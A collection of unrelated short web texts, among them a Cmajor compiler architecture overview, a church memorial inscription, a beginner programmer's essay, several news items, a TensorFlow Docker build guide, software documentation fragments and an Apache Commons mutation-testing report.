The compiler has a component-based layered architecture. Each layer may use layers below it. Circular dependencies are not allowed. The main components of the compiler are:
The components are described in the order they appear in the compilation process.
The compiler component constitutes the main program of the compiler. It processes command line arguments and then calls the builder component to build given Cmajor projects and solutions. The main program also reports errors.
The main tasks of the builder component are building a solution and building a project.
The BuildSolution function first reads a solution file and project files referenced in the solution file and creates a project build order. The build order is created by sorting the projects contained by a solution topologically based on project references. If a project A references another project B, A must be built after B, because the symbol table of project B must be imported into the symbol table of project A.
After creating a build order the BuildSolution function starts a number of threads for building the projects and inserts the projects into a a project queue from where they are fetched and built in order. If two projects A and B do not depend on each other and the projects they depend on are already built, projects A and B are built in parallel.
The BuildProject function:
The parser component contains all the parsers used in the compiler. The main parsers are the source file parser, and the solution and project file parsers.
The parsers are defined in the .parser files and compiled to C++ classes using a source-to-source tool called cmpg, Cmajor Parser Generator. Each parser consists of group of grammars that can refer to each other. Circular grammar dependencies are allowed. One of the grammar is the main grammar of the parser. The main grammar contains the start rule that defines the language that the parser accepts. If the start rule is not explicitly defined, the start rule is implicitly the first rule of the main grammar. The main grammar of the source file parser is the CompileUnit grammar, and the main grammar of the solution and project file parsers are Solution and Project grammars respectively.
The purpose of the source file parser is to check the syntactic validity of each source file and to produce a structured representation called abstract syntax tree from the linear character representation of a source file.
The abstract syntax tree component contains classes from which an object hierarchy representing a source file can be built by the parser component. The abstract syntax tree contains just enough information that the source code could in principle be reproduced from it if required. The information is encapsulated into classes that derive from the abstract Node class. An abstract UnaryNode class represents of a node that has one child node, and an abstract BinaryNode class represents a node that has two child nodes. A NodeList<T> class represents a list of some node type T.
Each concrete node class implements these virtual operations:
In addition each node class implements operations for adding and accessing information contained in the node.
The abstract syntax tree node classes do not themselves contain actual compilation algorithms other than file serialization and cloning subtrees. The compilation algorithms are represented in classes that derive from the Visitor class. Thus the compiler contains a variation of the Visitor Design Pattern as defined by Erich Gamma, Richard Helm, Ralph Johnson, and John Vlissides, in their book Design Patterns: Elements of Reusable Object-Oriented Software (1994).
The visitor pattern implementation in the context of the Cmajor compiler works as follows:
−>
Accept(visitor).
Let's assume that the actual type of node to be visited is
AddNode.
Because the Accept function is virtual, this means that in runtime the call is dispatched to the
AddNode::Accept(Visitor&)
member function.
Take a look at the following quick sort program. In the start of the program we have two namespace imports, System and System.Collections, in order to use the facilities defined in the System library. Then comes five nonmember functions, Partion, two QuickSort overloads, Print and main. The main function of the program inserts ten pseudo-random integers [0..100( into a list, then prints the list, sorts it using the quick sort algorithm and finally prints the sorted list.
This is an example output of the program:
Running 'C:/Users/Seppo/cmajorw64/cmajor/projects/QuickSort/bin/debug/QuickSort.exe': [36, 49, 4, 87, 26, 89, 94, 12, 43, 54] [4, 12, 26, 36, 43, 49, 54, 87, 89, 94] Process returned exit code 0.
When the compiler parses the program, it produces the following abstract syntax tree.
The next stage of compilation is to build initial symbol table by reading and importing symbol tables of library modules and by creating and inserting symbols for the entities of the project being compiled. The symbol table is completed in the binding stage.
Symbols for the current project are created by visiting the abstract syntax trees created by the parser with a symbol creator visitor. The structure of the symbol table is a tree of symbols. In the root of the tree is a namespace symbol that represents the global namespace. The global namespace contains symbols for other namespaces, classes and functions etc.
The symbol table also maintains a mapping from AST nodes to corrensponding symbols and vice versa.
When symbols are created for the quick sort program, the symbol table looks like this. Functions with the same group name are collected under function group symbols For each compound statement in a function there is a declaration block symbol that contains symbols for the local variables of a block.
The binder component contains facilities for binding type expressions to type symbols and identifiers in statements and expressions to other symbols. It creates a bound compile unit for each syntax tree unit. A bound compile unit contains full type information for each expression and each operation is bound to a function symbol that is used to generate intermediate code for that operation.
The type binder visits an abstract syntax tree and binds each type expression to a type symbol by means of type resolver.
After binding types of the quick sort program, the symbol table looks like this. The type resolver instantiates class templates and may result instantiation of some function templates as well. Instantiated class templates are represented by class template specialization symbols.
The statement binder visits bodies of functions and creates bound statements for each visited statement. It uses the expression binder to create bound expressions from the expressions contained by the statements. Each operation results the creation of a bound function call that associates the operation with a some function symbol.
After binding statements and expressions of the quick sort program, the symbol table looks like this. Instantiated function templates are not shown.
The binding stage produces the following bound tree. Instantiated class templates and function templates are not shown.
The emitter component contains two emitters for generating intermediate LLVM code from the bound trees. The Windows emitter generates LLVM code compatible with Visual C++ exception handling ABI. The Linux emitter implements exception handling using LLVM landing pads that are compatible with Itanium exception handling ABI.
The emitters are bound node visitors. For example, visitation of control statements generate llvm::BasicBlocks, and jumps between them. Visitation of a bound expression type generally calls the load operation of that bound expression type.
Each bound expression type implements two fundamental operations:
The load operation of the bound function call places the bound argument nodes to a vector of GenObjects, and then calls the virtual GenerateCall member function of the function symbol that is bound to the function call operation. The GenerateCall member function loads the arguments to a value stack by calling the Load operation for each of them, then pops the arguments from the value stack, places them to a vector of arguments, generates a call instruction, and finally pushes the generated llvm::Value to the value stack.
The abstract GenObject base class and the abstract Emitter base class that are defined in the ir component are there for calling virtual member functions implemented in the emitter component from the symbols component without producing a cyclic dependency between the symbols and emitter components.
When compiling the quick sort program, the emitter produces the following intermediate code by means of the LLVM library.
The implementation of is and as expressions is based on a scheme invented by Michael Gibbs and Bjarne Stroustrup and described in their article Fast dynamic casting.
Each polymorphic class in Cmajor has a unique 64-bit identifier that is a product of prime number keys. The prime number key of the class is based on the level of the class in the class hierarchy. Ultimate base classes are assigned keys 2, 3, 5, etc., and the leaf classes of the class hierarchy have the largest keys. The identifier of a class is the product of the key of itself, the key of its base class, the key of its ancestor class, and so on.
When we have these class identifiers, the test whether a polymorphic class A is the same class or derived from the class B becomes a simple modulo operation: classIdOf(A) % classIdOf(B) == 0 <=> A is same or derived from B.
The 64-bit identifier of a class is stored to the virtual method table of the class at index 0. The class identifier is initially zero and dynamically initialized by calling the runtime library. The runtime library looks up the class identifier from a hash table by using a 16-byte type identifier (UUID) of the class as a key and stores the nonzero 64-bit class identifier to the virtual method table index 0. The 16-byte type identifier (UUID) is initialized by the compiler and stored to the virtual method table at index 1 in 64-bit units. The hash table lookup is needed only first time. In the future the class id is found in the VMT at index 0.


Floor slab. Black surfaced rectangular slab with foliated border.
Beneath this Stone was Buried THOMAS HORNE Gent. late of Witney who Died Auguft 23rd 1763 Aged 70 years. Alfo ANN his wife who Died October 8th 1758. Aged 6[4] years
The Parish Church of St. Mary, Cogges, Oxfordshire.


“¿Cómo se dice ‘roommate’ en español?”
We’ve all experienced those moments when we can’t remember a word. It’s on the tips of our tongues, and we try, but we can’t seem to find it. Remarkably (or not-so-remarkably), this does not prevent us from communicating our idea. We just use other words to describe what we’re talking about, describing it instead of picking the exact word.
“I met this guy yesterday who had the most interesting job.  Anyway, he had the cutest accent…”
This practice is common in university language courses, where students are instructed to speak only in their language of study and not to utter a word of English. In these cases, where students do not have a command of the vocabulary in the new language, the conversations tend to consist of talking around the actual words in order to foster meaning. For example:
“¿Quién es ella?” “Ella vive en mi casa.” [Translation: Who is she? She lives in my house.]
The term for “roommate” in Spanish is “compañero de casa,” but “alquien que vive en mi casa” (someone who lives in my house) works just as well. The student in the example didn’t know the word for roommate, so he talked around it. This is called circumlocution.
As a newbie coder, I find myself frequently circumlocuting when writing code. My Python vocabulary is limited, but even with the small amount of knowledge I have obtained and the few methods I know, I can still effectively write scripts that execute without error. They’re not beautiful or concise, necessarily, but they work. As a beginner, this is extremely empowering.
For example, I have been writing a Python scraper to pull some data from an HTML page. (I’ll write a post dedicated to it with more specifics when it’s done.) A part of the data I’m trying to gather requires me to break apart a string into pieces and insert those pieces into separate columns. Using my limited Pythonic vocabulary and the help of an external library, I was able to isolate the string I needed to break apart… but then I was stuck. Cursory Google searches instructed me to use regular expressions, but that required knowledge I didn’t have, and time I didn’t have to acquire said knowledge. Instead, I used a piece of vocabulary I already knew: Python’s built in partition() method. By selecting elements from resulting tuples and using partition() a few times, I finally got the pieces I wanted into my database. I talked around the problem, circumlocuting using the vocabulary I knew to achieve my desired end.
And it worked. Just as “person who lives in my house” and “roommate” mean roughly the same thing when communicating with a peer, the partition() method and the result of a regular expression mean roughly the same thing to the computer. And it worked. And that felt awesome.
Will I continue using this roundabout method forever? Certainly not. But I bet knowing the long way around and writing too many lines of code will be helpful when I learn the shortcuts that are used by more proficient programmers to achieve the same ends. Not only will I understand what I’m doing better, I will have made the mistake myself and be more encouraged to try it another way in order to make progress.
I vote that experienced developers encourage beginners to write code this way, to try the long way, to solve problems using the tools they have. Too often novice coders are afraid to show what they have created for fear of being belittled by those who know how to do it “better.” If we turn circumlocution into an accepted learning tool and begin to see it as part of the process, I believe that more beginners will feel confident showing the world their code and will later relish the opportunity to see where they’ve been and how far they’ve come.


Tomas Berdych confirms retirement
by FSA EditorFormer world number four and 2010 Wimbledon Tomas Berdych says his body will not allow him to continue playing at the highest level.
Tomas Berdych has confirmed his retirement at the age of 34.
The former world number four was expected to quit after posting a video on Twitter stating he had an announcement to make at the ATP Finals in London on Saturday.
Berdych’s post came after a Czech tabloid Blesk reported on Wednesday that he will officially bring the curtain down on his career this weekend.
The 2010 Wimbledon runner-up, beaten by Rafael Nadal in his only grand slam final, has now brought his playing days to an end after 17 years on the ATP Tour.
Berdych has not played since losing to Jenson Brooksby in the first round of the US Open, having been blighted by a back injury.
The 13-time ATP Tour singles champion missed the last five months of the 2018 season and was only able to play 22 matches this year.
Berdych’s career was recognised during a ceremony at the O2 Arena on Saturday, where he said: “The feeling I went through in my last official match was one that told me I tried absolutely everything, but the end result is how it is.
“The level I was always chasing, the top results, being in the top positions [of the ATP Rankings]… My body doesn’t allow me to do so.
“I always look at situations very realistically. I was standing with my feet on my ground. When I made my decision with myself and [loved ones], I felt a big relief.”


Philippine Airlines 777 makes emergency landing at Los Angeles airport
LOS ANGELES: A Boeing 777 bound for Manila suffered an apparent engine failure on Thursday (Nov 21) shortly after takeoff and made an emergency landing in Los Angeles.
Soon after Philippine Airlines Flight 113 departed from Los Angeles International Airport, pilots reported a possible engine failure and landed without incident, the Federal Aviation Administration said.
Television station ABC-7 in Los Angeles aired video of the plane after takeoff that showed flames and smoke coming out of the right engine.


Now you are finished with the setup and ready to reboot to the normal mode.
Once you have pushed below button, the setup modus will be left and the digitizer start to normal operation mode.
After a view seconds you can reload this page. It will take two to four minutes, until you get the first reading.
All settings can be changed as well in the configuration menue in normal operation mode.


Would you like to learn Wicket, the translation to javascript from Wicket, and javascript?
Similar issue with Hibernate
Maybe your current program is very simple, but...
Attempt to hide all the javascript? Too much magic.
Let me define a variable in javascript and have it available in the HTML (two-way data binding)? Good magic.


Survey Form
this is a survey form
Name:
Email:
Number:
Choose Country
USA
Nigeria
Spain
Gender
Male:
Female:
Marital status
Married:
Single:
Additional Comments:
Submit


Building Tensorflow Docker Image for Openstack
With the many layers of virtualization, it’s easy to forget that docker images ultimately run on a real CPU with its own architecture and characteristics. This is usually not an issue, except when the code in the image makes assumptions about that CPU. The Tensorflow library makes use of whatever hardware acceleration is available. It is quite sensitive to the hardware the image is built on.
I discovered this when trying to deploy a colleague’s Tensorflow application on
our OpenStack cluster. I was using the tensorflow/tensorflow
Docker image.
When I attempted to run it, it simply printed out the error:
Illegal instruction (core dumped) python3 ./${MAIN_SCRIPT}
This is caused by the standard images being built to take advantage of the AVX2 instruction set. Since Tensorflow 1.6 the pre-built binaries assume the CPU supports those instructions.
This post describes how I compiled Tensorflow for the specific hardware backing our OpenStack and deployed my application via docker.
Build Tensorflow Locally
Tensorflow is a big and complicated system. Compiling it depends on a large number of dependencies and specialized build tools. Fortunately, the community has created a handy dockerized process to help with this build.
- Create a VM on the OpenStack cluster. I used an Ubuntu 16.0.2 image.
- Install:
- git
- docker
- docker-compose
- Make sure the ubuntu user has permission to run docker commands.
- Log into the VM and checkout a copy of my fork of Hadrian Mary’s tensorflow-builder
- For now use my
ncsa_openstack
branch. Pull Request is in progress - As per the README…
cd tensorflow/ubuntu-16.04/
# Build the Docker image
docker-compose build
# Set env variables
export PYTHON_VERSION=3.5
export TF_VERSION_GIT_TAG=v1.9.0
export USE_GPU=0
# Start the compilation
docker-compose run tf
# You can also do:
# docker-compose run tf bash
# bash build.sh
- Wait, wait, and wait some more… It’s a very long build time!
- The wheel file for your architecture is sitting in the repositories wheels/ folder
Create a Docker Image
As a final step, I created a Dockerfile based on a Python image which installs the Tensorflow wheel:
FROM python:3.5-stretch
COPY tensorflow-1.9.0-cp35-cp35m-linux_x86_64.whl /
RUN pip install /tensorflow-1.9.0-cp35-cp35m-linux_x86_64.whl
CMD ["python3"]


There are four crystals and each has been given specific points.
You need to click on the crystals such that you make your score EXACT equal to the target score.
Once you win or loose a game, the game will reset and the points associated with the crystals would also
reset.


The Chase's Mark Labbett slams 'snowflake' Piers Morgan after shocking performance
While appearing on The Chase, Piers managed to get three correct answers on the show, and then took the lower offer of £1000
by James Rodger, https://www.facebook.com/jamesrodgerjournalistA star of popular ITV1 show The Chase has branded Piers Morgan a word he will no doubt shudder at: "Snowflake."
Piers is a presenter of Good Morning Britain and routinely makes headlines with his controversial opinions.
Regularly involved in explosive debates and rows on GMB, Piers is a controversial former newspaper editor.
And he was today branded a ‘snowflake’ by The Chase's Mark Labbett, aka The Beast.
While appearing on The Chase, Piers managed to get three correct answers on the show, and then took the lower offer of £1000.
Meanwhile, co-host Susanna Reid bagged an incredible £80,000 on the show.
Mark joked: “I’m heartbroken.
“You’ve moulded yourself as the epitome of English manliness for years.
“You deal with princes and presidents.

The GMB stars failed to defeat The Beast, who caught Piers, Susanna and Kate in the final round with 37 seconds to spare.
Viewers of the popular show were outraged with Piers’ performance, after the host slammed Richard Madeley for taking the lower offer.
One said: “Piers Morgan taking the lower offer on The Chase has cemented my hatred towards him. Colossal nonce.”
Another said: “So Piers moaned at Richard for going low and he’s gone low himself #numpty.”
And one viewer who had been on the show himself said: “At peace that I scored higher than Piers Morgan in the cash builder round of The Chase and I didn’t take the lower offer.”


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Main REPL
Tests & REPL
Examples
SalliedForth
Play 1
Simple Event Handler
Hello
Goodbye
...
Interact with the example
OK.
[ hello ] js- document.getElementById
{ title store } word storage !
word storage @
.s
[ hello ] js- document.getElementById ! helloBtn fn{ hey! alert } word click 2 arity js helloBtn.addEventListener
Run
Main REPL with tests.


You can attach this attribute to pages, services and service endpoints to include information about http methods, headers, query string parameters etc that are supported. This information will be incorporated into the self-documentation for the website.
[IsPage("page2")] [Option(OptionType.Method, "GET", "Returns the html for page 2
")] [Route("/page2", Method.Get)] internal class Page2 { }


Hot-keys on this page
n s m x c change column sorting
| Module | statements | missing | excluded | coverage |
|---|---|---|---|---|
| Total | 869 | 10 | 0 | 99% |
| diseases/models.py | 50 | 4 | 0 | 92% |
| diseases/tests.py | 136 | 0 | 0 | 100% |
| diseases/urls.py | 3 | 0 | 0 | 100% |
| diseases/views.py | 173 | 2 | 0 | 99% |
| pca/models.py | 1 | 0 | 0 | 100% |
| pca/tests.py | 52 | 0 | 0 | 100% |
| pca/urls.py | 3 | 0 | 0 | 100% |
| pca/views.py | 108 | 0 | 0 | 100% |
| supervisedLearning/models.py | 10 | 0 | 0 | 100% |
| supervisedLearning/tests.py | 87 | 0 | 0 | 100% |
| supervisedLearning/urls.py | 3 | 0 | 0 | 100% |
| supervisedLearning/views.py | 243 | 4 | 0 | 98% |
No items found using the specified filter.


All Classes
-
All Classes Class Summary Exception Summary Class Description Accuracy Accuracy metric.Activation Abstract activation function.Adam Adam optimizer.CrossEntropy Cross entropy loss.Dataset Basic input output dataset.DatasetTT Dataset with a train and test.Dense Basic fully-connected layer.ElementwiseActivation Activation that is applied across all numbers the same.GaussianInit Gaussian distribution initialization.Genetic Run a genetic algorithm.He He initialization.Individual Individual neural network.Initializer Abstract initializer class.InputLayer Layer for input.Iris Train a network on the iris flowers dataset.JLSettings Global settings for JLearn.Layer Abstract layer class.LeakyReLU Leaky Rectified Linear Unit activation.Linear Most basic linear activation.Loss Class for loss function.Matrix Matrix class and operations.Matrix.Init Initialization methods for Matrix.Matrix.Init.Empty Init all with 0s.Matrix.Init.Fill Init all with a number.Matrix.Init.Gaussian Generate random numbers from the gaussian distribution to fill the matrix.Matrix.Init.Uniform Generate a uniform range of random numbers to fill the matrix.MatrixMathException Exception when executing matrix math.MeanSquaredError Mean squared error loss.Metric Class for a metric.MNIST Train a network on the MNIST digits dataset.MNISTDigits Class for the MNIST digits dataset.MNISTSave Train a model on the MNIST dataset, then save it to a file and load it back to evaluate.Model Neural network model.Model.FitBuilder Builder class for fit operation.Model.FitPrint Thread to print progress when fitting.Momentum Gradient descent with momentum.NeuralNetworkException Exception in neural network.Optimizer Abstract class for optimizers.Population Population of individuals.ReLU Rectified Linear Unit activation.SGD Gradient descent optimizer.Sigmoid Sigmoid activation.Softmax Softmax activation.Xavier Xavier/Glorot initialization.XOR Train a model to perform the XOR bitwise operation.


Omoto highway, SH7, reopened, good progress road and rail
by NZTA19 November 2019
Omoto highway, SH7, has reopened, good progress road and rail
Waka Kotahi NZ Transport Agency reopened the section of state highway east of Greymouth through Omoto last night around 6 pm.
“Road users no longer need to take the Taylorville detour route,” says Transport Agency Maintenance Contract Manager Moira Whinham. “But they should expect short delays as the highway through Omoto is just one lane with traffic signal management and that will be the case for some time.
“The crew on site has worked tirelessly and we thank them for the extra effort to get this highway open faster than we anticipated last week. Also, thanks to local people near Omoto and regular users of the highway, for their patience having to use the detour route for the past few weeks.”
State Highway 7 was closed a month ago on the short section into Greymouth after the slow-moving slip at Omoto turned into a landslide after torrential rain.
“Drainage work installed in the past fortnight has continued to perform well over the past weekend, with significant improvement in the stability of the land at this site,” says Ms Whinham.
“Refilling of the road alignment has progressed well, so we were able to reopen the highway at 6 pm last night (Monday, 18 November).”
There is significant further work to be completed and the road will remain an active work site.
KiwiRail update good news
“KiwiRail staff are making good progress on restoring the rail link between Greymouth and Christchurch,” says Jeanine Benson, KiwiRail South Island General Manager Operations.
“We’re ahead of where we expected and, if all goes according to plan, we will take our first trains across the slip later this week. Our teams are actively working to complete the final actions and checks required.”
ends


Analysis of multivariate data with two-way completely randomized factorial design. The analysis is based on fully nonparametric, rank-based methods and uses test statistics based on the Dempster's ANOVA, Wilk's Lambda, Lawley-Hotelling and Bartlett-Nanda-Pillai criteria. The multivariate response is allowed to be ordinal, quantitative, binary or a mixture of the different variable types. The package offers two functions performing the analysis, one for small and the other for large sample sizes. The underlying methodology is largely described in Bathke and Harrar (2016) <doi:10.1007/978-3-319-39065-9_7> and in Munzel and Brunner (2000) <doi:10.1016/S0378-3758(99)00212-8>.
| Version: | 0.1.0 |
| Depends: | R (≥ 3.1.0) |
| Imports: | matrixStats, matrixcalc, MASS, gtools, Formula, methods, stats |
| Published: | 2018-06-14 |
| Author: | Maximilian Kiefel and Arne C. Bathke |
| Maintainer: | Maximilian Kiefel <physik210 at hotmail.com> |
| License: | GPL-2 | GPL-3 |
| NeedsCompilation: | no |
| CRAN checks: | nparMD results |
| Reference manual: | nparMD.pdf |
| Package source: | nparMD_0.1.0.tar.gz |
| Windows binaries: | r-devel: nparMD_0.1.0.zip, r-release: nparMD_0.1.0.zip, r-oldrel: nparMD_0.1.0.zip |
| OS X binaries: | r-release: nparMD_0.1.0.tgz, r-oldrel: nparMD_0.1.0.tgz |
Please use the canonical form https://CRAN.R-project.org/package=nparMD to link to this page.


Map out each route you've flown with Google Maps.
Create an interactive map with each airport you've flown into.

Custom signature images displaying to the world your flight times. Place this image on your blogs, in your forum signature; anywhere you please.
Easily calculate 8710 data
Easily create graphs comparing flight times in various types of airplanes
Quickly and automatically determine if you have the APT minimums or Part 135 PIC minimums, includinf automatic point-to-point cross country time
calculation.
Automatic currency reminders for every category/class combination you can think of. Including type rating currency.
Calculate specialized logbook totals.


Newbie Guide:
Which weapon do you use now? What kind of
weapon do you want to use in the future? The
reason why I'm asking this question is that it is
important that you find the most suitable weapon
for you when you reach level 6
If you think that a Dagger is the best fit, buy a
Bone Dagger. If you have enough money, you
can also buy a Doom Dagger, but a Bone Dagger
should be good enough. If you prefer a Sword,
buy a Short Sword. If you have enough money,
you can also buy a Broad Sword, but a Short
Sword should be good enough. If you want to
use a blunt weapon rather than a knife, I
recommend a Club. A blunt weapon has a higher
accuracy rate than other weapons. A Lance,
meanwhile, can be used to attack serveral
enemies at once, while a Bow is ideal for remote
attack.
No matter which weapon you use, though, don't
forget this: you can use the Kamael's unique
weapon after reaching level 20 and completing
the first class transfer. If you are a Kamael male,
you must be familiar with the Two-Handed Sword
and the One-Handed Sword. If you are a Kamael
female, you should be familiar with the
One-Handed Sword and the Bow.
You will have enough money to buy the next
weapon once you reach level 9 or 10. But you'd
better wait a while. As I mentioned if you take
the test given by Hierarch Kekropus, he will give
you a weapon.
"I'd like to know the characteristics of each weapon."
"I'd like to know about armor."
Back.


|
BrawlCrate v0.40a
Wii File Editor
|
Public Attributes | |
| List< Facepoint > | _points = new List<Facepoint>() |
Properties | |
| PrimitiveHeader | Header [get] |
| override List< Facepoint > | Points [get, set] |
| Properties inherited from BrawlLib.Modeling.PrimitiveClass | |
| virtual List< Facepoint > | Points [get, set] |
Additional Inherited Members | |
| Static Public Member Functions inherited from BrawlLib.Modeling.PrimitiveClass | |
| static int | Compare (PrimitiveClass p1, PrimitiveClass p2) |
|
get |
|
getset |


WITNESS LIST Electric Utility Restructuring (Interim) Committee May 28, 1998-9:30A Stranded Costs For: Reilley, Bob (Enron Corp.), Austin Schaeffer, Steve (AECT), Houston Wingo, James A. (self), Sweet Water On: Albrecht, Chris (TX Retailers Assoc.), St. Louis, MO Briesemeister, Janee (Consumers Union), Austin Bryant, Robert (AECT, GSEC), Amarillo Hirst, Eric (self), Oak Ridge, TN Kroger, Stephanie A. (TCCE), Austin McClellan, Suzi (OPUC), Austin Moseley, Marc D. (AECT), Dallas White, Mark (ACCESS), Houston Wood, Patrick H. (Chairman, PUC), Austin Zion, Mark (TPPA), Austin Registering, but not testifying: On: Bolen, Bob (TU Shareholders Assoc.), Ft. Worth Dence, Chip (Victoria Assn of Bldrs.), Victoria Kearney, Joseph P. (PG&E Corp.), San Francisco Smith, Tom "Smitty" (Public Citizen), Austin Wieting, Leroy (self), Portland


{% extends "base.html" %} {% block content %}
Yes, Macchina is built on top of a wrapper for all the APIs of the exchanges it supports, which are more than 100. At the moment this wrapper is not public but we may consider open-sourcing it in the future.
Macchina monitors arbitrage opportunities periodically and when it detects that an arbitrage opportunity is no longer profitable it will delete it from the pool of the current arbitrage opportunities.
If Macchina cannot communicate with an exchange, arbitrage opportunities will become old and they will be automatically removed from the pool of the current arbitrage opportunities.


|
Earthquakemodels
Here is the official documentation for generating Earthquake Risk Models using Genetic Algorithms.
|
Functions | |
| def | molchan (modelLambda, modelOmega) |
| def | whichLegAreWeOn (molchanTrajectory, tau) |
| def | areaUnderTrajectory (molchanTrajectory, tau) |
| def | assTest (modelLambda, modelOmega, tauSteps=0.01) |
| def code.testingAlarmBased.molchanBased.areaUnderTrajectory | ( | molchanTrajectory, | |
| tau | |||
| ) |
Function needed to calculate the areaUnderTrajectory for the ASS test
Definition at line 65 of file molchanBased.py.
| def code.testingAlarmBased.molchanBased.assTest | ( | modelLambda, | |
| modelOmega, | |||
tauSteps = 0.01 |
|||
| ) |
Calculates the ASS alarm test function defined by Zechar. Its as alarm based test that considers regions, threshold, miss rate and hits. The param should be an model with bins that divides one region, and every bin should contain the quatity of earthquakes
Definition at line 88 of file molchanBased.py.
| def code.testingAlarmBased.molchanBased.molchan | ( | modelLambda, | |
| modelOmega | |||
| ) |
Calculates the Molchan test of a model against a reference model
Definition at line 4 of file molchanBased.py.
| def code.testingAlarmBased.molchanBased.whichLegAreWeOn | ( | molchanTrajectory, | |
| tau | |||
| ) |
Function needed as part of the areaUnderTrajectory function
Definition at line 52 of file molchanBased.py.


To draw an ellipse:
- Select the Ellipse tool
- Drag from the top left to the bottom right
- Double-Click inside the text shape to activate the TextEditor.
The ellipse tool has four Control Handles:
- Three rectangular ones control the size
- One circular one (Left-Top) controls the rotation angle
- Circle sizing handle (Bottom-Right)


AnythingZoomer
2
Download
Calendar
Image
Swap
Text
Double
Usage
Playground
Issues
Swap Demo
AnythingZoomer can now be called to update its contents dynamically.
Just click the "Swap image" button to toggle between two sets of images.
Swap image


Client request for QR code is generated online and sent to client or service providers who will in turn print the codes and paste the QR codes in various locations. Workers login to the app with their username provided to go around and scan these QR codes. For every scan, username, time of scan, type and exact location of scan is captured by the solution.
If there is any incident or anything else to report to the supervisor or manager, user can open Incident report - capture a picture and put some notes and post it which will be immediately visible to the supervisor on the web admin center or admin app instantly.If there is any incident or anything else to report to the supervisor or manager, user can open Incident report - capture a picture and put some notes and post it which will be immediately visible to the supervisor on the web admin center or admin app instantly.
Even if data is exhausted in the device used by guards or workers, the app will store the scans internally on the device and will deliver it to the solution once there is device gets connected again with data or wi- fi. Don't worry about losing a scan or patrol just because we didn't load airtime on-time Our mobile development services include building mobile native application across all of the major mobile platforms.
Users can use the check-in/check-out option to check- in to a location and check-out with a selfie. All check-in and check-out actions are captured with photo, time and exact location which can be plotted on the map for analysis
Users can use 'Tag my Location' option to tag their current location for reference purposes if there is no QR code to scan for a specific location during special circumstances or during incidents. These scans are captured as 'CLOSED DOOR' action which is visible in the admin
Beat Book is used for automatic scans. Beat book can only be used if all the QR codes initially pasted in various locations are captured in the system and linked to a specific site and also location. If this setting is performed, then users can simply open Beat Book and press the corresponding location which will be captured if the user is less than 30 meters of QR location setting


Long Cheng, PhD
Marie Skłodowska-Curie Fellow at PEL
B1.05, School of Computer Science
University College Dublin
Belfield, Dublin 4, Ireland
Tel: +353-1-716-2908
E-mail: long.cheng[AT]ucd.ie
About
I am a Marie Curie Fellow at The Performance Engineering Laboratory (PEL) led by Prof. John Muphy in University College Dublin (UCD), Ireland.
Before joining UCD in 2018, I was a Postdoc at the Architecture of Information Systems Group (AIS) in Eindhoven University of Technology (Netherlands), worked with Prof. Wil van der Aalst for about two years focusing on new process mining techniques that are able to deal with huge event logs. During 2014 and 2016, I worked as a Postdoc in the Knowledge-based System Group led by Prof. Markus Krötzsch at TU Dresden (Germany). I received my PhD degree from National University of Ireland Maynooth under the supervision of Prof. Tomas Ward in 2014. During my PhD, I was also a research assistant at IBM Research Dublin under the supervision of Prof. Georgios Theodoropoulos and Dr. Spyros Kotoulas.
My research focuses on performance optimization for parallel and distributed data applications and systems. Aside from this main focus on advancing network-aware query execution systems, I also have some collaborative projects in data analytics in IoT edge, blockchain-based process systems, GPU-based process mining, cloud resource management and distributed machine learning.
News
| May, 2019 | Papers were accepted by ASAP'19, JPDC and ICPP'19 |
| May, 2019 | The NEAC workshop has been successfully organized at IEEE/ACM CCGrid’19 |
| Mar, 2019 | Papers were accepted by WCNC'19 and TSC |
| Feb, 2019 | Research visits in Beijing |
| Dec, 2018 | Joined the ICT Europe 2018 in Vienna |


| 1 | /* | |
| 2 | * Licensed to the Apache Software Foundation (ASF) under one or more | |
| 3 | * contributor license agreements. See the NOTICE file distributed with | |
| 4 | * this work for additional information regarding copyright ownership. | |
| 5 | * The ASF licenses this file to You under the Apache License, Version 2.0 | |
| 6 | * (the "License"); you may not use this file except in compliance with | |
| 7 | * the License. You may obtain a copy of the License at | |
| 8 | * | |
| 9 | * http://www.apache.org/licenses/LICENSE-2.0 | |
| 10 | * | |
| 11 | * Unless required by applicable law or agreed to in writing, software | |
| 12 | * distributed under the License is distributed on an "AS IS" BASIS, | |
| 13 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | |
| 14 | * See the License for the specific language governing permissions and | |
| 15 | * limitations under the License. | |
| 16 | */ | |
| 17 | package org.apache.commons.collections4.bag; | |
| 18 | ||
| 19 | import java.util.Comparator; | |
| 20 | ||
| 21 | import org.apache.commons.collections4.SortedBag; | |
| 22 | import org.apache.commons.collections4.Transformer; | |
| 23 | ||
| 24 | /** | |
| 25 | * Decorates another {@link SortedBag} to transform objects that are added. | |
| 26 | * <p> | |
| 27 | * The add methods are affected by this class. | |
| 28 | * Thus objects must be removed or searched for using their transformed form. | |
| 29 | * For example, if the transformation converts Strings to Integers, you must | |
| 30 | * use the Integer form to remove objects. | |
| 31 | * <p> | |
| 32 | * This class is Serializable from Commons Collections 3.1. | |
| 33 | * | |
| 34 | * @since 3.0 | |
| 35 | * @version $Id: TransformedSortedBag.java 1494280 2013-06-18 20:07:04Z tn $ | |
| 36 | */ | |
| 37 | public class TransformedSortedBag<E> extends TransformedBag<E> implements SortedBag<E> { | |
| 38 | ||
| 39 | /** Serialization version */ | |
| 40 | private static final long serialVersionUID = -251737742649401930L; | |
| 41 | ||
| 42 | /** | |
| 43 | * Factory method to create a transforming sorted bag. | |
| 44 | * <p> | |
| 45 | * If there are any elements already in the bag being decorated, they | |
| 46 | * are NOT transformed. Contrast this with {@link #transformedSortedBag(SortedBag, Transformer)}. | |
| 47 | * | |
| 48 | * @param <E> the type of the elements in the bag | |
| 49 | * @param bag the bag to decorate, must not be null | |
| 50 | * @param transformer the transformer to use for conversion, must not be null | |
| 51 | * @return a new transformed SortedBag | |
| 52 | * @throws IllegalArgumentException if bag or transformer is null | |
| 53 | * @since 4.0 | |
| 54 | */ | |
| 55 | public static <E> TransformedSortedBag<E> transformingSortedBag(final SortedBag<E> bag, | |
| 56 | final Transformer<? super E, ? extends E> transformer) { | |
| 57 |
1
1. transformingSortedBag : mutated return of Object value for org/apache/commons/collections4/bag/TransformedSortedBag::transformingSortedBag to ( if (x != null) null else throw new RuntimeException ) → NO_COVERAGE |
return new TransformedSortedBag<E>(bag, transformer); |
| 58 | } | |
| 59 | ||
| 60 | /** | |
| 61 | * Factory method to create a transforming sorted bag that will transform | |
| 62 | * existing contents of the specified sorted bag. | |
| 63 | * <p> | |
| 64 | * If there are any elements already in the bag being decorated, they | |
| 65 | * will be transformed by this method. | |
